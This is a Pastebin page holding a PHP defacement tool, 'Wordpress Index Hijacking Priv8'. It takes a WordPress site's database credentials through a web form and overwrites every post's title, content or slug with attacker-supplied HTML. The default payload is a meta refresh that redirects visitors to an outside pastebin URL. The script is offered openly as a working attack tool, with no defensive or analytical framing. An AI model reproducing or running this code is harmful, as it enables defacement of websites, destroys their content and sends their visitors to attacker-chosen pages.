Advertisement
Synchronizer

Wordpress Index Hijacking Priv8

Oct 3rd, 2014
523
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.93 KB | None | 0 0
  1. http://www.synchroizer.tk
  2. =========================================================================================================================================
  3. <?php
  4. echo '<form method="POST">
  5. <p align="center">
  6. <img border="0" src="http://oi59.tinypic.com/33uucdu.jpg"></p>
  7. <center><font color="red" size="6" face="impact">Wordpress Index Hijack Priv8</font></center>
  8. <center><font color="red" size="2" face="orion">Coded By Mauritania Attacker</font></center>
  9. <center><input type="text" value="localhost" name="pghost">
  10. <input type="text" value="database_name" name="dbnmn">
  11. <input type="text" value="prefix" name="prefix">
  12. <input type="text" value="username_db" name="dbusrrrr">
  13. <input type="text" value="password_db" name="pwddbbn"></center><br>
  14. <center><textarea name="pown" cols="85" rows="10"><meta http-equiv="refresh" content="0;URL=http://pastebin.com/raw.php?i=WG1zASMG"></textarea><br>
  15. <input type="submit" name="up2" value="Hijack Index"><br></center><form>';
  16. $pghost = $_POST['pghost'];
  17. $dbnmn = $_POST['dbnmn'];
  18. $dbusrrrr = $_POST['dbusrrrr'];
  19. $pwddbbn = $_POST['pwddbbn'];
  20. $index = stripslashes($_POST['pown']);
  21. $prefix = $_POST['prefix'];
  22. //$prefix = "wp_";
  23. if ($_POST['up2']) {
  24. @mysql_connect($pghost, $dbusrrrr, $pwddbbn) or die(mysql_error());
  25. @mysql_select_db($dbnmn) or die(mysql_error());
  26. $tableName = $prefix . "posts";
  27. $ghost1 = mysql_query("UPDATE $tableName SET post_title ='" . $index . "' WHERE ID > 0 ");
  28. if (!$ghost1) {
  29. $ghost2 = mysql_query("UPDATE $tableName SET post_content ='" . $index . "' WHERE ID > 0 ");
  30. } elseif (!$ghost2) {
  31. $ghost3 = mysql_query("UPDATE $tableName SET post_name ='" . $index . "' WHERE ID > 0 ");
  32. }
  33. mysql_close();
  34. if ($ghost1 || $ghost2 || $ghost3) {
  35. echo "<center><p><b><font color='red'>Index Website Have been Hijacked Successfully</font></p></b></center>";
  36. } else {
  37. echo "<center><p><b><font color='red'>Failed To Hijack the Website :(</font></p></b></center>";
  38. }
  39. }
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement